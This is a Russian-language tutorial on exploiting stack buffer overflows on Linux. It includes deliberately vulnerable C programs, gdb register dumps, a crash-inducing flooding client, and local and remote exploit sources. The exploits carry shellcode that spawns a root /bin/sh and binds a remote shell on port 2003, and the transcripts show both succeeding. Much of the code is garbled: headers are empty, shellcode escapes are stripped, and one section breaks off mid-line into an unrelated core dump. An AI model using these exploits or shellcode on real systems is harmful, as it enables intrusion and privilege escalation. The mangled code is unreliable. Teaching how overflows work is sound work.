Переполнение буфера для чайников

Бродя по многочисленным форумам, смотря рассылки и т.д. Я наткнулся на один очень частный вопрос. Звучит он примерно так: "Я не пойму технику переполнения буфера, объясните, пожалуйста!". В данном материале я бы хотел рассмотреть технику полностью. Весь материал будет рассчитан для ОС Linux. Я постараюсь затронуть тему локального и удаленного переполнения буфера. Постараюсь внятно объяснить все. Я думаю, этот материал будет понятен даже новичку.
Итак, пора приступить к изучению.
Переполнение буфера это, пожалуй, самая распространенная ошибка как в больших приложениях, так и в маленьких утилитах. Впервые техника переполнения буфера была предпринята в нашумевшем черве конца 80-х годов - черве Роберта Морриса. С тех пор, данная уязвимость стала такой популярной, что на данный момент число эксплоитов, которые написаны на основе данной уязвимости, перевалило уже за отметку более 2-х тысяч. Из всех уязвимостей, которые на данный момент известны миру, переполнение буфера занимает 1-ое место. Ежедневно обнаруживается огромное количество ошибок на основе переполнения буфера. Для примера, подпишитесь на рассылку новостей bugtraq, и составьте процентное соотношение обнаруженных уязвимостей. У меня вышло примерно 35-40 % уязвимостей основанных на переполнении буфера. А ведь это только публичные данные! Представьте, что находится в закрытых источниках, там примерно такое же соотношение.
Что-то я уж заговорился :) Давайте перейдем к обсуждение данной ошибки.
Скажу, что для изучения данного материала, у Вас должны быть хотя бы начальные знания языка Си под Linux. Для дальнейшей работы нам понадобятся следующие инструменты: gcc, gdb, gedit (но можно и другой редактор).
Теперь перейдем к непосредственному объяснению техники переполнения. Допустим, Вы написали утилиту, которая принимает входную строку (первый аргумент). Далее она вызывает системный вызов утилиты "ls" и ищет файл/директорию. В случае если файл/директория найдены, то программа оповещает пользователя о том, что такой файл/директория существуют в системе. Давайте посмотрим на пример такой программки.
[=============================pre#1 util.c==========================]
#include
#include
int main(int argc, char *argv[])
{
char filename[255], cmd[600];
if ( argc != 2 )
{
printf(" usage: %s ", argv[0]);
exit(0);
} //usage rulezz :)
strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename);
//copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
[==================================pre#1 util.c========================]
Давайте откомпилируем программу и попытаемся запустить:
[root@localhost boft]# gcc util.c -o util
[root@localhost boft]# ./util aaaaaaaaaaaaaaaaaa
[root@localhost boft]#
Итак, программа не нашла файла/директории в текущем каталоге. Теперь попробуем создать файл в текущем каталоге.
[root@localhost boft]# touch something.file
[root@localhost boft]# ./util something.file
something.file
[root@localhost boft]#
Так, мы создали файл с помощью стандартной утилиты touch в системе Linux, и программа оповестила нас о том, что такой файл существует в системе. Вроде ничего подозрительного и нет. Никакого переполнения нет в системе. Согласен, программе ведет себя вполне стандартно. Теперь давайте попробуем ввести название файла более 267 символов. Потом объясню, почему именно более 267 символов. Итак:
[root@localhost boft]# ./util `perl -e 'print "A"x268'`
Segmentation fault (core dumped)
[root@localhost boft]#
Опа... Что мы видим :) Сейчас мы использовали синтаксис языка perl. Строка `perl -e 'print "A"x268'` говорит о том, что в качестве первого аргумента будет значение "A" общей суммой символов равной 268. Т.е. программа в качестве первого аргумента получит такое: A = 268 символам. Идем далее... Программа ничего нам не вывела, а выскочило странное сообщение "Segmentation fault (core dumped)". Чтобы оно могло значить??? А значит оно одно. Наша программа повела себя нестандартно и что-то там произошло. А что именно я попытаюсь сейчас объяснить. В системе Unix (как и в Win32) для хранения данных используется "стек". Именно в нем хранятся различные значения переменных (да и они сами там хранятся) в момент запуска программы. После закрытия программы все данные выгружаются из "стека". Стек можно сравнить со складом :) Конечно это довольно грубое объяснение, но все же. Так вот, в нашей программе мы используем несколько буферов. А именно буфер для хранения значения переменной "filename" и буфер переменной "cmd". Буфер "cmd" нас не интересует. А вот буфер переменной "filename" нам более интересен. А все потому, что именно данная переменная используется как имя файла/директории, истоки которого берутся из первого входного аргумента при запуске программы. Копирование строки происходит путем стандартной в языке Си функции strcpy(); Синтаксис ее таков:
strcpy(строка_в_которую_нужно_копировать_данные, строка_из_которой_следует_копировать);
Так вот строка в коде:
strcpy(filename, argv[1]);
Говорит о том, что в переменную filename нужно копировать первый входной аргумент программы. Но взглянем выше, и мы увидим следующее:
char filename[255];
Вышеприведенная строка является объявлением переменной filename как типа char (символьного), который состоит из 255 массивов. То есть данная переменная имеет входной буфер на 255 символов. Получается, мы туда можем поместить 255 символов из входного аргумента нашей программы. Итак... Я думаю, вы уже догадались о том странном сообщении. Если нет, то оно значит то, что мы ввели более 255 символов во входной буфер, и программа вызвала ошибку т.к. размер, введенный в аргументе, превышает отведенный размер буфера переменной. Именно это и называется переполнение буфера. А теперь попробуйте сформулировать определение...
Переполнение буфера - это буфер, значение которого определяется ранее в программе и в последующий момент выходит за рамки определяемости (т.е. переполняется). Несколько запутанно и некорректно. Но каждый может для себя составить определение этому словосочетанию :) Для меня же понятнее мое определение.
Двигаемся дальше. Я думаю все линуксоиды знают очень хорошую и нужную утилиту gdb. Это утилита является встроенным отладчиком в системах Unix. gdb расшифровывается как GNU Debugger. Теперь давайте запустим нашу утилиту в этом отладчике и попробуем ввести длинное имя файла/директории.
[root@localhost boft]# gdb util
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".
(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 2861.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Итак, мы ввели 1000 символов "A" в первый аргумент программы. И что мы видим? Программа приняла 1000 символов "A" и попыталась осуществить поиск. Но не тут то было :) Буфер переменной-файла равен всего 255 символов. И поэтому произошло переполнение. Строка 0x41414141 in ?? () говорит о том, что наша утилита попыталась обратится по адресу 0x41414141, но там ничего и нет :) Почему именно 0x41414141, так это потому что значение "A" в шестнадцаричном hex формате равно 41. А адрес у нас состоит из 8 символов. Поэтому последние четыре символа "A" будут адресом, к которому после переполнения обратится наша программа. Для более детального закрепления давайте рассмотрим следующий пример. Как я говорил ранее для переполнения нам нужно более 268 символов. Смотрим пример:
(gdb) r `perl -e 'print "A"x268'`BBBB
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBB
Detaching after fork from child process 2898.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
И что мы видим :) А видим мы следующие. Для переполнения буфера нам нужно 268 символов. Это значение, при котором буфер полностью заполняется до краев :). Т.е. в вышеприведенном примере мы записали 268 символов "A" и четыре символа "B". Получается, что буфер заполняется до краев значением "A", а далее мы указываем по какому адресу ему следует обращаться после переполнение. Мы указываем ему 4 символа "B", поэтому строка 0x42424242 in ?? () означает что после полного переполнения адрес по которому обратится функция будет указывать на адрес "B" в шестнадцаричном -hex формате. А теперь взглянем на следующий пример:
(gdb) r `perl -e 'print "A"x268'`BBBA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA
Detaching after fork from child process 2920.
Program received signal SIGSEGV, Segmentation fault.
0x41424242 in ?? ()
(gdb)
Взглянем на адрес, по которому после переполнения обращается функция. Он равен: 0x41424242. А теперь взглянем на запуск программы:
(gdb) r `perl -e 'print "A"x268'`BBBA
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA
В аргументе присутствуют 268 символов "A" и адрес равный BBBA. А теперь переведите его в hex формат. У меня получилось вот что: 0x42424241, а у компьютера вот: 0x41424242. Из этого можно судить, что компьютер читает значения как арабы или китайцы. Т.е. справа налево. Ну и конечно сверху вниз. Поэтому в системе Unix (да и в Win32) стек растет сверху вниз. Получается, что самый большой адрес будет наверху, а далее стек будет убывать. Примерный вариант стека в стандартной программе таков:
стек (адрес вершины стека = 0xbfffffff)
__
|| ДАННЫЕ
||
||
/ АДРЕС
Т.е. в случае с нашим переполнением программа себя ведет в стеке так: Идут данные... Если все в порядке, то программа обычно завершает свою работу и выгружается из стека. В случае переполнения ДАННЫЕ превышают норму и уже АДРЕС будет указывать не на выход из функции ( в нашем случает это return в main() ), а на что-то другое ( в нашем случае это последние 4 символа в аргументе. )
Давайте взглянем на следующее. Я думаю, вы еще не закрыли gdb. Введите следующую команду.
(gdb) i r
eax 0x0 0
ecx 0xbffff20c -1073745396
edx 0x0 0
ebx 0x4016e800 1075243008
esp 0xbffff6b0 0xbffff6b0
ebp 0x41414141 0x41414141
esi 0x40016640 1073833536
edi 0x8048510 134513936
eip 0x41424242 0x41424242

(gdb)
Мы видим регистры слева, а справа их значения. Помните, я Вам говорил, что для переполнения нужно ввести 268 символов, а не 255 как определено. Теперь взгляните на это:
ebp 0x41414141 0x41414141
Так вот 268 символов это и есть переполнение при котором значение регистра ebp затирается на значение входного аргумента в hex формате ( в нашем случае на "A" в hex формате ).
Т.е. попробуйте ввести такое в нашу утилиту:
`perl -e 'print "A"x267'`
(gdb) r `perl -e 'print "A"x267'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/boft/util `perl -e 'print "A"x267'`
Detaching after fork from child process 2942.
Program exited normally.
(gdb)
Мы видим, что программа завершилась нормально без каких-либо ошибок и переполнений. Взглянем на значения регистров:
(gdb) i r
The program has no registers now.
(gdb)
А их и нет :) Программа завершилась нормально и выгрузилась из памяти.
А попробуйте ввести такое значение:
`perl -e 'print "A"x268'`
(gdb) r `perl -e 'print "A"x268'`
Starting program: /home/boft/util `perl -e 'print "A"x268'`
Detaching after fork from child process 2948.
Program received signal SIGSEGV, Segmentation fault.
0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)
Видно что программа завершилась с ошибкой и в качестве адреса по которому она обратится (адресом возврата) является сама функция main() из библиотеки libc. И поэтому для того чтобы указать свой адрес мы использовали 4 дополнительных символа. Они переводились в hex формат и указывали на адрес возврата. При просмотре регистров мы увидим, что регистр ebp затерся значение "A" в hex. Теперь давайте взглянем на другой регистр. Название ему EIP.
eip 0x41424242 0x41424242 Мы видим, что его адрес перезаписался на тот адрес, который мы указали. Т.е. на BBBA в hex формате. Я теперь хочу немного отклониться и рассказать вам об этих самых регистрах процессора.
РЕГИСТРЫ.
Вообще регистры это некое подобие строителей внутри процессора. Они как бы получают данные и складывают их в компьютере. Т.е. в случае со строителями они строят дом/гараж и т.д. Они получают данные и складывают их, а далее некая программа пытается прочесть информацию из этих регистров. Количество регистров в архитектуре процессора x86 большое. И с каждым разом все увеличивается и увеличивается. Они бывают как 16-ти разрядные, так и 32-х. Сейчас я хочу рассказать более детально об основных регистрах процесорра.
регистр EIP - это регистр содержит в себе адрес функции, на который должна перепрыгнуть программа в какое-либо действие. В нашем случае адрес eip был равен BBBA = 0x41424242. А что расположено по этому адресу? А ничего. В дальнейшем мы разберем эту тему.
регистр ESP - это регистр, с помощью которого можно бегать по стеку. Т.е. обращаться к какому либо адресу в стеке.
регистр EBP - это регистр, который дает нам возможность прямого обращения к данным, находящимся в стеке. Эти три регистра считаются основными. Понимание их значений является, по сути, основным фундаментом в понимании техники переполнения буфера. Итак, пора двигаться далее...
ТЕХНИКА ПЕРЕПОЛНЕНИЯ.
Думаю, вы уже наглотались теории по самые уши :) Ну ничего осталось совсем чуть-чуть. Я сейчас постараюсь максимально внятно объяснить процесс переполнения, а далее нам останется только осуществить все на практике. И мы уже будем на коне! Итак, поехали...
Процесс переполнения происходит следующим образом:
Вы определяете размер буфера и его крайний край :) (т.е. значение при котором регистр ebp затрется). Далее. Подготавливаете "мусорный буфер". Мусорный буфер - это данные, которые просто заполнят стек ненужной информацией для переполнения буфера. Далее Вы наглядно это увидите. Потом мы копируем шеллкод в буфер. О том, что такое шеллкод я Вам сейчас поведаю. Шеллкод - это некий код, переведенный в машинные инструкции. Почему именно "шеллкод", так это, потому что часто после его исполнения на компьютере предоставляется доступ к оболочке Unix (т.е. к shell-оболочке). Шеллкод может быть локальным и удаленным.
Локальный шеллкод - это код для локальных программ, которые исполняются на локальной машите. Т.е. пользователь работает за компьютером, в котором имеется уязвимая программа. После эксплуатации, которой, пользователю сразу представятся права уязвимой программы. Т.е. допустим, программа запущена с правами супер-пользователя (root), а у пользователя допустим права games (игровые). Когда пользователь (атакующий) успешно проэксплуатирует программу, у него появятся права супер-пользователя в локальной машине.
Удаленный шеллкод - это код для удаленных демонов (программ серверов). Т.е. например Вы обнаружили уязвимость в каком либо сервере. При подключении на который, передается длинная строка, а далее сервер завершает работу с ошибкой переполнения буфера. В данном случае пользователь не имеет прав на удаленной машине. Поэтому, написав эксплоит, который бы переполнял буфер и исполнял удаленный шеллкод с правами запущенного сервера. Часто удаленные шеллкоды после исполнения открывают на удаленной машине порт, после подключения на который, предоставляется командная строка (шелл) с правами запущенного сервера.
Итак, с шеллкодом мы разобрались. Двигаемся далее. После копирования шеллкода в буфер, мы должны указать адрес нашего шеллкода, чтобы после переполнения, уязвимая программа обращалась на инструкцию заданную в шеллкоде. То бишь на инструкцию появления командной строки. Если все это представить в уме, то это примерно высветится так:
стек
||
|| Данные (esp)
||происходит переполнение, и адрес eip указывает на шеллкод
~shellpre~
0xbffff550: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff560: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff570: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff580: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff590: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff600: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff610: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff660: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff670: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff680: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff690: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6b0: 0x41414141 0x41414141 0x41414100 0x41414141
---Type to continue, or q to quit---
0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
Внимание!!! В вашей системе может быть по-другому. Итак, что мы видим. А видим мы следующее. Слева у нас как раз те адреса возврата на данные, которые расположены справа. То бишь на данные символов "A". Из этого может следовать, что после переполнения наша уязвимая утилита обращается по одному из этих адресов, в которых имеется значение "A". На ум сразу приходит, что после того как шеллкод будет расположен, он успешно должен исполниться, после того как мы успешно засунем адрес возврата на наш код.
Итак, пора всю нашу занудную теорию перенести в практические действия. Сейчас я приведу код эксплуататора для нашей утилиты, и мы подробно разберем его. В качестве адреса я взял один из вышеприведенных адресов, значение у которого 0x41414141.
[================================pre#2 ex_util.c=============================]
#include
#include
char shellpre[] =
"x31xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68x2fx2fx73x68"
"x68x2fx62x69x6ex89xe3x50"
"x53x89xe1x99xb0x0bxcdx80";
int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;
RET = 0xbffff660; // адрес в Вашей системе может быть другой.
p = buf;
memset(buf, 0x41, 450+1-strlen(shellpre)); // тот самый "мусор" :)
sprintf(buf+450+1-strlen(shellpre), "%s", shellpre);
// заполняем шеллкодом после "мусора"
for ( i = 268; i
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)
Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод.
(gdb) x/100x $esp
0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
---Type to continue, or q to quit---
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
Так... Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями.
[================================pre#5 ex_env.c======================]
#include
#include
char shellpre[] =
"x31xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68x2fx2fx73x68"
"x68x2fx62x69x6ex89xe3x50"
"x53x89xe1x99xb0x0bxcdx80";
int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;
RET = 0xbffff310; // адрес в Вашей системе может быть другой.
p = buf;
memset(buf, 0x41, 1000+1-strlen(shellpre));
sprintf(buf+1000+1-strlen(shellpre), "%s", shellpre);
for ( i = 0; i <= 500; i+= 4 )
*(long*)(p+i) = RET;
setenv("SOMEDATA", buf, 1);
execl("env", "env" , buf, NULL);
}
[==================================pre#5 ex_env.c=====================]
Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим.
[root@localhost boft]# gcc ex_env.c -o ex_env
[root@localhost boft]# ./ex_env
sh-3.00# exit
exit
[root@localhost boft]#
Вот и все, что требовалось доказать :). Переходим к удаленному переполнению буфера.
УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.
Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является "Удаленным" (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит. Итак, рассмотрим пример уязвимого сервера.
[================================pre#6 vsrv.c=======================]
#include
#include
#include
#define BUFFER_SIZE 45
#define NAME_SIZE 2048
int handling_client(int c) {
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
read(c, name, strlen(name), 0);
recv(c, name, sizeof(name), 0);
sprintf(buffer, name);
send(c, buffer, strlen(buffer), 0);
return 0;
}
int main(int argc, char *argv[]) {
int Sock, con, client_size;
struct sockaddr_in srv, cli;
if (argc != 2) {
fprintf(stderr, "usage: %s port ", argv[0]);
return 1;
}
Sock = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
bind(Sock, &srv, sizeof(srv));
listen(Sock, 3);
for( ; ; ) { - (уберите пробелы между ( ; ; ) )
con = accept(Sock, &cli, &client_size);
if (handling_client(con) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(con);
}
return 0;
}
[===============================pre#6 vsrv.c=======================]
Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить.
[root@localhost boft]# gcc vsrv.c -o vsrv
vsrv.c: In function `main':
vsrv.c:35: warning: passing arg 2 of `bind' from incompatible pointer type
vsrv.c:40: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost boft]# ./vsrv
usage: ./vsrv port
[root@localhost boft]# ./vsrv 2278
Демон слушает 2278 порт. Попробуем соединиться с этим портом.
[root@localhost boft]# telnet 127.0.0.1 2278
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита.
[=============================pre#7 vsrv_dos.c==========================]
#include
#include
#include
int main(int argc, char *argv[])
{
int i, sock, count;
char buf[4096];
struct sockaddr_in tgt;
if (argc < 3) { printf("usage : dos ");
return 0;
}
count = atoi(argv[3]);
tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
for (i = 0; i < count; i++) buf[i] = 'A';
connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
printf("sending... buf = %s ", buf);
send(sock, buf, sizeof(buf), 0);
close(sock);
}
[========================pre#7 vsrv_dos.c=============================]
Давайте испробуем программу. Не закрывайте сервер.
[root@localhost boft]# gcc vsrv_dos.c -o dos
[root@localhost boft]# ./dos
usage : dos
[root@localhost boft]# ./dos 127.0.0.1 2278 1000
sending... buf =AAAAA....
[root@localhost boft]#
Взглянем на окно сервера.
[root@localhost boft]# ./vsrv 2278
Segmentation fault (core dumped)
[root@localhost boft]#
Вот и переполнение! Взглянем на значение регистра ESP.
[root@localhost boft]# gdb vsrv -core core.3390
GNU gdb 6.0-2mdk (Mandrake Linux)
Core was generated by `AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/200x $esp
0xbffff8e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff910: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff920: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние. Настало время написать эксплоит.
[========================pre#8 exp_vsrv.c==============================]
#include
#include
#include
static char shellpre[]= // Bind 2003 PORT xCrZx shellpre
"x31xc0x89xc3xb0x02xcdx80x38xc3x74x05x8dx43x01xcdx80"
"x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08x8dx4d"
"x08xb0x66xcdx80x89x45x08x43x66x89x5dx14x66xc7x45x16"
"x07xd3x31xd2x89x55x18x8dx55x14x89x55x0cxc6x45x10x10"
"xb0x66xcdx80x40x89x45x0cx43x43xb0x66xcdx80x43x89x45"
"x0cx89x45x10xb0x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41"
"x80xf9x03x75xf6x31xd2x52x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x52x53x89xe1xb0x0bxcdx80";
#define RET 0xbffff9d0 // mandrake 10.0 OR.
int main(int argc, char *argv[])
{
int s, i, size;
struct sockaddr_in remote;
char buf[1000];
char *p;
if ( argc < 3 ) { printf("usage: %s ", argv[0]); exit(0); }
memset(buf, 0x90, 1000-1-strlen(shellpre));
sprintf(buf+1000-1-strlen(shellpre), "%s", shellpre);
p=buf;
for ( i = 0; i <= 500; i += 4 )
*(long*)(p+i) = RET;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);
connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buf, sizeof(buf),0);
close(s);
}
[==============================pre#8 exp_vsrv.c==========================]
Давайте протестируем эксплоит.
[root@localhost boft]# gcc exp_vsrv.c -o exp
[root@localhost boft]# ./exp
usage: ./exp
[root@localhost boft]# ./exp 127.0.0.1 2278
[root@localhost boft]# telnet 127.0.0.1 2003
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Опа... Работает! Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.
ЗАКЛЮЧЕНИЕ.
В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически. Скачать ее вы можете на сайте http://unl0ck.info. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.

Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки!  Все что вы делаете, вы делаете на свой страх и риск!!!